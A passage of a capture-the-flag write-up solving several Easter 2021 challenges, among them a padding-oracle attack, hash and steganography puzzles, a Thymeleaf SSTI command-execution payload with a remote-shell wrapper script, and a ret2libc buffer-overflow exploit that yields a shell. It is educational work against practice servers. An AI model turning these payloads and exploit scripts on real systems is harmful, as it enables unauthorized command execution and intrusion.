[+] Status: 200
[+] Location: N/A
[+] Content Length: 123120
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 788 N/A
2 ** 255 200 792 N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (97/256) [Byte 16]
[+] Success: (60/256) [Byte 15]
[+] Success: (167/256) [Byte 14]
[+] Success: (221/256) [Byte 13]
[+] Success: (5/256) [Byte 12]
[+] Success: (19/256) [Byte 11]
[+] Success: (237/256) [Byte 10]
[+] Success: (86/256) [Byte 9]
[+] Success: (214/256) [Byte 8]
[+] Success: (84/256) [Byte 7]
[+] Success: (128/256) [Byte 6]
[+] Success: (207/256) [Byte 5]
[+] Success: (146/256) [Byte 4]
[+] Success: (73/256) [Byte 3]
[+] Success: (56/256) [Byte 2]
[+] Success: (214/256) [Byte 1]
Block 1 Results:
[+] Cipher Text (HEX): 4933af3087bce219699d7e3eb178a06f
[+] Intermediate Bytes (HEX): 3ac7b9633d8ba623a214ebfe275ac69e
[+] Plain Text: {"image": "egg",
Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.
*** Starting Block 2 of 2 ***
[+] Success: (147/256) [Byte 16]
[+] Success: (95/256) [Byte 15]
[+] Success: (136/256) [Byte 14]
[+] Success: (56/256) [Byte 13]
[+] Success: (241/256) [Byte 12]
[+] Success: (168/256) [Byte 11]
[+] Success: (96/256) [Byte 10]
[+] Success: (189/256) [Byte 9]
[+] Success: (156/256) [Byte 8]
[+] Success: (117/256) [Byte 7]
[+] Success: (46/256) [Byte 6]
[+] Success: (19/256) [Byte 5]
[+] Success: (165/256) [Byte 4]
[+] Success: (60/256) [Byte 3]
[+] Success: (226/256) [Byte 2]
[+] Success: (135/256) [Byte 1]
Block 2 Results:
[+] Cipher Text (HEX): 7b4717a36c617760ec0ad8bfd5df05b2
[+] Intermediate Bytes (HEX): 6911ca56e1d9816d4ba75e0acc7ba36c
[+] Plain Text: "effect": 4}
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): {"image": "egg", "effect": 4}
[+] Decrypted value (HEX): 7B22696D616765223A2022656767222C2022656666656374223A20347D030303
[+] Decrypted value (Base64): eyJpbWFnZSI6ICJlZ2ciLCAiZWZmZWN0IjogNH0DAwM=
-------------------------------------------------------
padbuster recovers the plaintext byte by byte. After a few seconds we get the full plaintext: {“image”: “egg”, “effect”: 4}.
In order to get an image of the egg with a less noisy effect, we choose effect 3. At first we need to encode the plaintext we want to encrypt:
>>> b'{"image": "egg", "effect": 3}'.hex().upper()
'7B22696D616765223A2022656767222C2022656666656374223A20337D'
Now we can simpy provide it to padbuster and run it again:
┌──(kali㉿kali)-[~/ctf/he21/30]
└─$ padbuster 'http://46.101.107.117:2110/picture?code=41E5D00E5CECC3019834C99B403DE4B24933AF3087BCE219699D7E3EB178A06F7B4717A36C617760EC0AD8BFD5DF05B2' '41E5D00E5CECC3019834C99B403DE4B24933AF3087BCE219699D7E3EB178A06F7B4717A36C617760EC0AD8BFD5DF05B2' 16 -encoding 2 -encodedtext 7B22696D616765223A2022656767222C2022656666656374223A20337D
+-------------------------------------------+
| PadBuster - v0.3.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 123120
INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 200 788 N/A
2 ** 255 200 792 N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (158/256) [Byte 16]
[+] Success: (70/256) [Byte 15]
[+] Success: (74/256) [Byte 14]
[+] Success: (159/256) [Byte 13]
[+] Success: (105/256) [Byte 12]
[+] Success: (54/256) [Byte 11]
[+] Success: (114/256) [Byte 10]
[+] Success: (169/256) [Byte 9]
[+] Success: (201/256) [Byte 8]
[+] Success: (97/256) [Byte 7]
[+] Success: (114/256) [Byte 6]
[+] Success: (164/256) [Byte 5]
[+] Success: (119/256) [Byte 4]
[+] Success: (132/256) [Byte 3]
[+] Success: (167/256) [Byte 2]
[+] Success: (111/256) [Byte 1]
Block 2 Results:
[+] New Cipher Text (HEX): a17417e236e0f64a7db3eca118b6bb60
[+] Intermediate Bytes (HEX): 815672845085953e5f89cc9265b5b863
[+] Success: (217/256) [Byte 16]
[+] Success: (165/256) [Byte 15]
[+] Success: (35/256) [Byte 14]
[+] Success: (169/256) [Byte 13]
[+] Success: (35/256) [Byte 12]
[+] Success: (6/256) [Byte 11]
[+] Success: (55/256) [Byte 10]
[+] Success: (173/256) [Byte 9]
[+] Success: (190/256) [Byte 8]
[+] Success: (76/256) [Byte 7]
[+] Success: (167/256) [Byte 6]
[+] Success: (134/256) [Byte 5]
[+] Success: (199/256) [Byte 4]
[+] Success: (4/256) [Byte 3]
[+] Success: (215/256) [Byte 2]
[+] Success: (213/256) [Byte 1]
Block 1 Results:
[+] New Cipher Text (HEX): 40049b591735db6961eedebd34b97b0a
[+] Intermediate Bytes (HEX): 3b26f2347652be4b5bcefcd853de5926
-------------------------------------------------------
** Finished ***
[+] Encrypted value is: 40049B591735DB6961EEDEBD34B97B0AA17417E236E0F64A7DB3ECA118B6BB6000000000000000000000000000000000
-------------------------------------------------------
The result is the encrypted value, which we can now use as a code:
This time we can scan the QR code:
┌──(kali㉿kali)-[~/ctf/he21/30]
└─$ zbarimg egg.jpeg
QR-Code:he2021{fl1pp1n_da_b1ts_gr34t_succ355}
scanned 1 barcode symbols from 1 images in 0.02 seconds
The flag is he2021{fl1pp1n_da_b1ts_gr34t_succ355}.
HE21.31 Hunny Bunny
| |||||||||
hunnybunny loves music! Can you figure out what else he loves? 4ab56415e91e6d5172ee79d9810e30be5da8af18 c19a3ca5251db76b221048ca0a445fc39ba576a0 fdb2c9cd51459c2cc38c92af472f3275f8a6b393 6d586747083fb6b20e099ba962a3f5f457cbaddb 5587adf42a547b141071cedc7f0347955516ae13 flag format: he2021{lowercaseonlynospaces} Hint - The values can be cracked, but they need to be changed somehow first. - One of the values represents the flag prefix. |
SHA1 produces an output very similar to one of the values from the list when calculated for the beginning of the flag (he2021{):
┌──(kali㉿kali)-[~/ctf/he21/31]
└─$ echo -n 'he2021{'|sha1sum
4de56415b91b6a5172bb79a9810b30eb5ad8dc18 -
Comparing it with the value from the list shows the following differences:
┌──(kali㉿kali)-[~/ctf/he21/31]
└─$ echo -n 'he2021{'|sha1sum;echo 4ab56415e91e6d5172ee79d9810e30be5da8af18
4de56415b91b6a5172bb79a9810b30eb5ad8dc18 -
4ab56415e91e6d5172ee79d9810e30be5da8af18
It seems that the following values are swapped:
a <-> d
b <-> e
c <-> f
We can use the following script to reverse this modification (just swap the values again):
#!/usr/bin/env python3
def change_hash(h):
r = ''
for c in h:
if (c == 'a'): r += 'd'
elif (c == 'b'): r += 'e'
elif (c == 'c'): r += 'f'
elif (c == 'd'): r += 'a'
elif (c == 'e'): r += 'b'
elif (c == 'f'): r += 'c'
else: r += c
return r
hashes = ['4ab56415e91e6d5172ee79d9810e30be5da8af18', 'c19a3ca5251db76b221048ca0a445fc39ba576a0', 'fdb2c9cd51459c2cc38c92af472f3275f8a6b393', '6d586747083fb6b20e099ba962a3f5f457cbaddb', '5587adf42a547b141071cedc7f0347955516ae13']
for h in hashes:
print(change_hash(h))
Running the script should output the actual SHA1 hashes:
┌──(kali㉿kali)-[~/ctf/he21/31]
└─$ ./swap0r.py
4de56415b91b6a5172bb79a9810b30eb5ad8dc18
f19d3fd5251ae76e221048fd0d445cf39ed576d0
cae2f9fa51459f2ff38f92dc472c3275c8d6e393
6a586747083ce6e20b099ed962d3c5c457fedaae
5587dac42d547e141071fbaf7c0347955516db13
Now we can for example use CrackStation to crack these hashes:
The only hash not cracked is the flag prefix.
By concatenating the substrings we get the flag:
The flag is he2021{hunnybunnyilovemumsomuch!}.
HE21.32 Two Yolks
| |||||||||
This egg has two yolks. But the second seems to be hidden somehow. |
Using pngcheck we can see that the image is using a palette with 33 entries:
┌──(kali㉿kali)-[~/ctf/he21/32]
└─$ pngcheck -v twoyolks.png
File: twoyolks.png (31389 bytes)
chunk IHDR at offset 0x0000c, length 13
1024 x 1024 image, 8-bit palette, non-interlaced
chunk PLTE at offset 0x00025, length 99: 33 palette entries
chunk tRNS at offset 0x00094, length 11: 11 transparency entries
chunk IDAT at offset 0x000ab, length 13903
zlib: deflated, 32K window, maximum compression
chunk YHDR at offset 0x03706, length 0: illegal (unless recently approved) unknown, public chunk
ERRORS DETECTED in twoyolks.png
In order to get the pixel data, we can use binwalk:
┌──(kali㉿kali)-[~/ctf/he21/32]
└─$ binwalk --extract twoyolks.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 1024 x 1024, 8-bit colormap, non-interlaced
175 0xAF Zlib compressed data, best compression
14353 0x3811 Zlib compressed data, best compression
The decompressed zlib data contains the pixel data, which is simply one value from the palette for each pixel:
┌──(kali㉿kali)-[~/ctf/he21/32]
└─$ hexdump -C _twoyolks.png.extracted/3811 | head
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000001e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 |................|
000001f0 0c 0a 05 05 08 04 04 06 06 09 09 07 07 07 0b 0f |................|
00000200 0f 0f 0f 0b 07 07 07 09 09 06 06 04 04 08 05 05 |................|
00000210 0a 0c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000005e0 00 00 00 00 00 00 00 00 00 0c 0a 05 04 06 09 0b |................|
000005f0 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f |................|
I used the following script to display only pixel with a certain value from the palette. The script iteraters through the raw pixel data and creates an corresponding PIL.Image:
#!/usr/bin/env python3
import sys
from PIL import Image
n = int(sys.argv[1])
img = Image.new('RGB', (1025,1024))
data = []
ct = open('_twoyolks.png.extracted/3811','rb').read()
for c in ct:
if (c == n): data.append((0,0,0))
else: data.append((255,255,255))
img.putdata(data)
img.save('out.png')
The palette entry 15 turned out to be a good choice:
┌──(kali㉿kali)-[~/ctf/he21/32]
└─$ ./extract0r.py 15
┌──(kali㉿kali)-[~/ctf/he21/32]
└─$ display out.png
┌──(kali㉿kali)-[~/ctf/he21/32]
└─$ zbarimg out.png
QR-Code:he2021{tw0_y0lks_are_gre33eat}
scanned 1 barcode symbols from 1 images in 0.05 seconds
The flag is he2021{tw0_y0lks_are_gre33eat}.
HE21.33 Finding Mnemo
| |||||||||
Dorie has forgotten everything again... Luckily, there is a backup: adapt 3555 bind 824e bless 8fcf blind 81db civil 03ec craft ed05 garage 9db4 good d2ba half 1272 hip 8d53 home 21b7 hotel 1cb0 lonely e5b8 magnet 16b9 metal 770e mushroom dd80 napkin 0829 reason ecd3 rescue 5ef2 ring e3b0 shift 4ea1 small f1f6 sunset b271 tongue f08d |
Googling for the words in the first column reveals that we are probably dealing with BIP39.
BIP39 is basically a mapping between words and 11 bit values. Here and here are good descriptions.
In order to determine the 11 bit value of a word, we need to find its position within the BIP39 wordlist and convert the index to a 11 bit value.
The second important insight is that the values in the second column are the beginning of the sha256 hash of the words. Though not of the word in the same row, but in another row:
For example adapt …
┌──(kali㉿kali)-[~/ctf/he21/33]
└─$ echo -n adapt|sha256sum
f1f61cc7216e18012d97bcfc33ae7a69995846c612b317073bff4e4cd52fd353 -
… matches the value from small:
small f1f6
Or bind …
┌──(kali㉿kali)-[~/ctf/he21/33]
└─$ echo -n bind|sha256sum
f08dd851c430f52f3fbe9692678a2e2c3cf9009035a13a5cf080ce9ed2125ce9 -
… matches the value from tongue:
tongue f08d
What is also noticable here, is that the value from ring …
ring e3b0
… seems to match the SHA256 hash of the empty string:
┌──(kali㉿kali)-[~/ctf/he21/33]
└─$ echo -n |sha256sum
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 -
Accordingly there must be one word, whose SHA256 is not present. This word is half.
In order to get the flag we need to find the correct order of the words and determine the corresponding 11 bit value for each of them. The result is a long bit string, which only needs to be converted to ASCII to get the flag.
The reason for the SHA256 of half not being present is that half is the first word (similarly we can assume that ring is the last word).
In order to determine the second word, we use the value in the second column of half: 1272. This is the beginning of the SHA256 hash of civil. Thus civil is the next word. We proceed this until the end (word ring).
The following script automates the whole process:
#!/usr/bin/env python3
import hashlib
bip39 = open('english.txt').read().split('\n')
words = [('adapt','3555'),('bind','824e'),('bless','8fcf'),('blind','81db'),('civil','03ec'),('craft','ed05'),('garage','9db4'),('good','d2ba'),('half','1272'),('hip','8d53'),('home','21b7'),('hotel','1cb0'),('lonely','e5b8'),('magnet','16b9'),('metal','770e'),('mushroom','dd80'),('napkin','0829'),('reason','ecd3'),('rescue','5ef2'),('ring','e3b0'),('shift','4ea1'),('small','f1f6'),('sunset','b271'),('tongue','f08d')]
def get_11bit(w):
n = bip39.index(w)
return format(n, '#013b')[2:]
def get_next_word(h):
for w in words:
m = hashlib.sha256()
m.update(w[0].encode())
if (m.hexdigest()[:4] == h):
return w
def bit_str_to_ascii(s):
r = ''
for i in range(0, len(s), 8):
r += chr(int(s[i:i+8],2))
return r
w = ('half','1272')
bit_str = ''
for i in range(len(words)-1):
bit_str += get_11bit(w[0])
w = get_next_word(w[1])
print(w[0])
print(bit_str_to_ascii(bit_str))
Running the script yields the flag:
┌──(kali㉿kali)-[~/ctf/he21/33]
└─$ ./solv0r.py
civil
metal
good
bless
reason
shift
home
garage
napkin
sunset
tongue
bind
rescue
mushroom
hip
hotel
lonely
blind
small
adapt
craft
magnet
ring
he2021{f1sh_r_fr1ends_n0t_f00d!
The flag is he2021{f1sh_r_fr1ends_n0t_f00d!}.
HE21.34 The Five Seasons
| |||||||||
Did you know there were five seasons?
Find the flag file!
http://46.101.107.117:2111
Note: The service is restarted every hour at x:00.
Hint
The 🐟 is just a trap 😼
A hint is hiding in one of the poems.
|
On the provided website one of five seasons can be selected:
The page of each season contains a poem:
When providing a non-existing season in the GET-parameter (e.g. xx), an error is displayed stating that the template page-xx was not found:
According to the hint we should look for a hint in one of the poems. In order to do this I downloaded the original poems and compared them with the poems on the page. This yield the following difference:
┌──(kali㉿kali)-[~/ctf/he21/34]
└─$ diff sp.txt sp_on.txt
6c6
< In the blossom-robed Thyme Leaves;
---
> In the blossom-robed trees;
The word trees from the original poem were replaced by Thyme Leaves.
Combining this with the error message suggests that we are dealing with a Thyme Leaves SSTI.
By googling a little bit I came upon this blog post, which describes this kind of vulernability and also provides a payload to execute OS commands:
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x
We can directly use this payload in the GET-parameter season:
It might not be too obvious at first, but we actually executed the command whoami. The result is displayed in the template name: seasons.
After testing different commands it turned out that the response will only contain characters until the first whitespace. If we e.g. run ls, we only see the first file in the response:
Also a pipe (|) cannot be used directly in the command String.
When initially solving the challenge, I verified that the file flag.txt exists by running ls flag.txt:
In order to output in we can use base64 -w0 flag.txt:
Now we only need to decode it:
┌──(kali㉿kali)-[~/ctf/he21/34]
└─$ echo d2VsbCBkb25lLCBoZXJlIGlzIHlvdXIgZmxhZzogaGUyMDIxe1NwcjFuZ18xc19teV9mNHZydF9zMzRzbiF9|base64 -d
well done, here is your flag: he2021{Spr1ng_1s_my_f4vrt_s34sn!}
Though it is also possible to run arbitrary commands and get the full output.
For this to work a String array like {“sh”,”-c”,”ls|base64″} must be provided to getRuntime().exec.
The following script does this:
#!/usr/bin/env python3
import requests
from base64 import b64decode
def run_cmd(cmd):
url = 'http://46.101.107.117:2111/season?season='
url += '__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(new String[]{"sh","-c","'+cmd+'|base64 -w0"}).getInputStream()).next()}__::i.x '
r = requests.get(url)
return b64decode(r.text.split('[page-')[1].split('], ')[0]).decode()
while True:
c = input('> ')
print(run_cmd(c))
This way it is a little bit more comfortable to run commands:
┌──(kali㉿kali)-[~/ctf/he21/34]
└─$ ./shell0r.py 1 ⨯
> id
uid=999(seasons) gid=999(seasons) groups=999(seasons)
> ls -al
total 19440
drwxr-xr-x 1 root root 4096 Mar 2 13:23 .
drwxr-xr-x 1 root root 4096 Apr 15 09:01 ..
-rwxr-xr-x 1 root root 19888619 Mar 2 13:23 app.jar
-rwxr-xr-x 1 root root 63 Mar 2 13:23 flag.txt
-rwxr-xr-x 1 root root 41 Mar 2 13:23 start.sh
> cat flag.txt
well done, here is your flag: he2021{Spr1ng_1s_my_f4vrt_s34sn!}
The flag is he2021{Spr1ng_1s_my_f4vrt_s34sn!}.
HE21.35 The Snake
| |||||||||
Cunning snake has a little riddle for you:
21{_inake0dltn_2olospena__iht_fthet!}
Hint
- It's a self-made algorithm, not one you'll find in the web.
- Look at the snake in the title image.
|
It was quite challenging to find the correct pattern. Thanks to daubsi for a heads-up.
I ended up with this:
DIRECTION CHARACTERS SUBSTRING
-------------------------------------------------------------
21{_inake0dltn_2olospena__iht_fthet!}
<- 3 2 1 0 he20
-> 456 7 8 9 abc 21{dont_f
<- f e d all
-> 012 3 4 5 678 _into_the
<- b a 9 _sn
-> cde f 0 1 234 ake_pit!}
The flag is he2021{dont_fall_into_the_snake_pit!}.
HE21.36 Doldrums
| |||||||||
Without wind, no ship can sail. This one is really secure. I promise! nc 46.101.107.117 2113 Get a shell and read the flag. Note: The service is restarted every hour at x:00. doldrums Hint Ubuntu 18.04 64 Bit |
The setting for this last pwn binary was a little bit different mainly because we are dealing with a 32-bit ELF file, which is stripped. Again it is dynamically linked, without canaries, nx enabled, no pic and partial relro:
┌──(kali㉿kali)-[~/ctf/he21/36]
└─$ file doldrums
doldrums: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d035ad0d34a664be7426cd2196a55c38438e19cc, stripped
┌──(kali㉿kali)-[~/ctf/he21/36]
└─$ r2 -A doldrums
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x080484d0]> iI
arch x86
baddr 0x8048000
binsz 5928
bintype elf
bits 32
canary false
class ELF32
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
laddr 0x0
lang c
linenum false
lsyms false
machine Intel 80386
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs false
relro partial
rpath NONE
sanitiz false
static false
stripped true
subsys linux
va true
Since the binary is stripped, I used ghidra this time, which makes it a little bit more comfortable.
At first we search for the entry function. The function passed to the call to __libc_start_main is the actual main function (I already renamed it here):
Within the main function we can see that yet again the unsafe gets is used:
Since there are no stack canaries, we can use this to overflow the return address on the stack.
Let’s begin by determining the offset to the return address again:
┌──(kali㉿kali)-[~/ctf/he21/36]
└─$ gdb ./doldrums
Reading symbols from ./doldrums...
(No debugging symbols found in ./doldrums)
gdb-peda$ pattern_create 200 /tmp/pattern
Writing pattern of 200 chars to filename "/tmp/pattern"
gdb-peda$ r < /tmp/pattern
Starting program: /home/kali/ctf/he21/36/doldrums < /tmp/pattern
Welcome! Here is a nice rime of the poet Samuel Taylor Coleridge for you!
Please press a key to continue!
[Attaching after process 45833 vfork to child process 45837]
[New inferior 2 (process 45837)]
[Detaching vfork parent process 45833 after child exit]
-------------------------------------------------------
Hear the rime of the ancient mariner
See his eye as he stops one of three
Memmerizes one of the wedding guests
Stay here and listen to the nightmates of the sea
...
More info? https://en.wikipedia.org/wiki/The_Rime_of_the_Ancient_Mariner
[Inferior 1 (process 45833) detached]
[Inferior 2 (process 45837) exited with code 0177]
Warning: not running
Ouh? We did not crash the program? The program forked due to the call to system. By default gdb follows the child:
gdb-peda$ show follow-fork-mode
Debugger response to a program call of fork or vfork is "child".
We adjust the behavior by setting follow-fork-mode to parent:
gdb-peda$ set follow-fork-mode parent
Now we can input the pattern again:
gdb-peda$ r < /tmp/pattern
Starting program: /home/kali/ctf/he21/36/doldrums < /tmp/pattern
Welcome! Here is a nice rime of the poet Samuel Taylor Coleridge for you!
Please press a key to continue!
[Detaching after vfork from child process 46194]
-------------------------------------------------------
Hear the rime of the ancient mariner
...
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41417341 ('AsAA')
ECX: 0x51c
EDX: 0xffffffff
ESI: 0xf7fb0000 --> 0x1e4d6c
EDI: 0xf7fb0000 --> 0x1e4d6c
EBP: 0x24414142 ('BAA$')
ESP: 0xffffd190 ("ACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AA...")
EIP: 0x416e4141 ('AAnA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x416e4141
[------------------------------------stack-------------------------------------]
0000| 0xffffd190 ("ACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3A...")
0004| 0xffffd194 ("-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAA...")
0008| 0xffffd198 ("AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4...")
0012| 0xffffd19c ("A;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJA...")
0016| 0xffffd1a0 (")AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA...")
0020| 0xffffd1a4 ("AAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAK...")
0024| 0xffffd1a8 ("A0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgA...")
0028| 0xffffd1ac ("FAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AA...")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x416e4141 in ?? ()
At this time we stayed following the parent and can observe the crash. The instruction pointer was overwritten by the pattern. Let’s determine the offset:
gdb-peda$ pattern_offset 0x416e4141
1097744705 found at offset: 13
Accordingly the offset from the beginning of our input to the return address is 13.
The strategy for a straightforward exploitation consists of two steps. At first we leak a few function addresses, in order to determine the libc version running on the target server. In the second step (the actual exploit) we leak one function address again (e.g. from puts), calculate the libc base address (we know the offset of puts, since we know the libc version), jump back to the main function, in order to be able to exploit the vulnerability a second time. This time we overwrite the return address with a one_gadget.
At first let’s leak the address of puts. In order to do this we overwrite the return address with PLT entry of puts and provide the GOT entry of it as the first argument. This will effectively call puts(&puts_got) printing the contents of the GOT entry.
Both required address can be determined using gdb:
gdb-peda$ p 'puts@plt'
$1 = {<text variable, no debug info>} 0x8048480 <puts@plt>
gdb-peda$ p &'puts@got.plt'
$5 = (<text from jump slot in .got.plt, no debug info> *) 0x804a020 <puts@got.plt>
The script looks like this:
#!/usr/bin/env python3
from pwn import *
offset = 13
puts_plt = 0x08048480
puts_got = 0x804a020
io = remote('46.101.107.117', 2113)
expl = b'A'*offset
expl += p32(puts_plt)
expl += b'JUNK'
expl += p32(puts_got)
io.sendline(expl)
io.recvuntil('Mariner\n\n')
r = io.recv(4)
io.close()
leak = int.from_bytes(r, 'little')
log.info('leak: ' + hex(leak))
Running the script outputs the absolute address of puts:
┌──(kali㉿kali)-[~/ctf/he21/36]
└─$ ./leak.py
[+] Opening connection to 46.101.107.117 on port 2113: Done
[*] Closed connection to 46.101.107.117 port 2113
[*] leak: 0xf7dbf460
In order to further narrow down the possible libc version, we use a second function (gets):
...
gets_got = 0x804a010
...
expl = b'A'*offset
expl += p32(puts_plt)
expl += b'JUNK'
expl += p32(gets_got)
...
Running the adjusted script outputs the absolute address of gets:
┌──(kali㉿kali)-[~/ctf/he21/36]
└─$ ./leak.py
[+] Opening connection to 46.101.107.117 on port 2113: Done
[*] Closed connection to 46.101.107.117 port 2113
[*] leak: 0xf7d84be0
With those two addresses we can use a libc database search, in order to determine the libc version running on the server:
Accordingly the server is using libc6-i386_2.27-3ubuntu1.4_amd64.
How does this work? The leaked addresses are influenced by ASLR. This also means that they change every time we run the leak script. Though ASLR does not influence the whole address but only 12 bits of it (assuming 32-bit). We can see this by running ldd a few times:
┌──(kali㉿kali)-[~/ctf/he21/36]
└─$ ldd doldrums|grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d55000)
┌──(kali㉿kali)-[~/ctf/he21/36]
└─$ ldd doldrums|grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d65000)
┌──(kali㉿kali)-[~/ctf/he21/36]
└─$ ldd doldrums|grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cf7000)
┌──(kali㉿kali)-[~/ctf/he21/36]
└─$ ldd doldrums|grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cd5000)
The least significant 12 bits of the absolute address of a function will thus stay always the same. Though these 12 bits vary depending on the libc version and can thus be used to narrow down the possible version. That is what the libc database search does.
We can directly download the identified libc from the page:
┌──(kali㉿kali)-[~/ctf/he21/36]
└─$ wget https://libc.blukat.me/d/libc6-i386_2.27-3ubuntu1.4_amd64.so
...
Length: 1926828 (1.8M) [application/octet-stream]
Saving to: ‘libc6-i386_2.27-3ubuntu1.4_amd64.so’
With the libc at hand we can identify all one_gadgets within it:
┌──(kali㉿kali)-[~/ctf/he21/36]
└─$ one_gadget libc6-i386_2.27-3ubuntu1.4_amd64.so
0x3ccea execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x3ccec execve("/bin/sh", esp+0x38, environ)
constraints:
esi is the GOT address of libc
[esp+0x38] == NULL
0x3ccf0 execve("/bin/sh", esp+0x3c, environ)
constraints:
esi is the GOT address of libc
[esp+0x3c] == NULL
0x3ccf7 execve("/bin/sh", esp+0x40, environ)
constraints:
esi is the GOT address of libc
[esp+0x40] == NULL
0x6739f execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x673a0 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
0x13563e execl("/bin/sh", eax)
constraints:
ebx is the GOT address of libc
eax == NULL
0x13563f execl("/bin/sh", [esp])
constraints:
ebx is the GOT address of libc
[esp] == NULL
Now we can proceed to the actual exploitation. The exploit consists of two steps.
At first the address of puts is leaked again, but this time in order to calculate the libc base address (influenced by ASLR). For the return address of the call to puts we set the address of main, which will make the execution proceed at the beginning after the leak. This allows us to exploit the vulnerability a second time (just opening a second connection does not work, since the leaked address is not valid anymore).
In the second step we use the determined libc base address to calculate the absolute address of a one_gadget and use this address to overwrite the return address on the stack.
Here is the script:
#!/usr/bin/env python3
from pwn import *
offset = 13
puts_plt = 0x08048480
puts_got = 0x804a020
puts_offset = 0x67460
main = 0x80485e6
io = remote('46.101.107.117', 2113)
# 1.) leak libc base address
expl = b'A'*offset
expl += p32(puts_plt)
expl += p32(main)
expl += p32(puts_got)
io.sendline(expl)
io.recvuntil('Mariner\n\n')
r = io.recv(4)
puts_addr = int.from_bytes(r, 'little')
log.info('puts_addr: ' + hex(puts_addr))
libc_base = puts_addr - puts_offset
log.info('libc_base: ' + hex(libc_base))
# 2.) overwrite return address with one_gadget
og = 0x3ccea
expl = b'A'*offset
expl += p32(libc_base+og)
io.sendline(expl)
io.interactive()
Running the script yields a shell on the server:
┌──(kali㉿kali)-[~/ctf/he21/36]
└─$ ./final.py
[+] Opening connection to 46.101.107.117 on port 2113: Done
[*] puts_addr: 0xf7d8e460
[*] libc_base: 0xf7d27000
[*] Switching to interactive mode
\x10\xd6\xf70\xfe\xd3\xf7\xc0\xeb\xd8\xf7
Welcome! Here is a nice rime of the poet Samuel Taylor Coleridge for you!
Please press a key to continue!
━┏┛┃ ┃┏━┛ ┏━┃┛┏┏ ┏━┛ ┏━┃┏━┛ ━┏┛┃ ┃┏━┛ ┏━┃┏━ ┏━┛┛┏━┛┏━ ━┏┛ ┏┏ ┏━┃┏━┃┛┏━ ┏━┛┏━┃
┃ ┏━┃┏━┛ ┏┏┛┃┃┃┃┏━┛ ┃ ┃┏━┛ ┃ ┏━┃┏━┛ ┏━┃┃ ┃┃ ┃┏━┛┃ ┃ ┃ ┃┃┃┏━┃┏┏┛┃┃ ┃┏━┛┏┏┛
┛ ┛ ┛━━┛ ┛ ┛┛┛┛┛━━┛ ━━┛┛ ┛ ┛ ┛━━┛ ┛ ┛┛ ┛━━┛┛━━┛┛ ┛ ┛ ┛┛┛┛ ┛┛ ┛┛┛ ┛━━┛┛ ┛
-------------------------------------------------------
...
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls -al
total 56
drwxr-xr-x 1 root root 4096 Mar 3 12:11 .
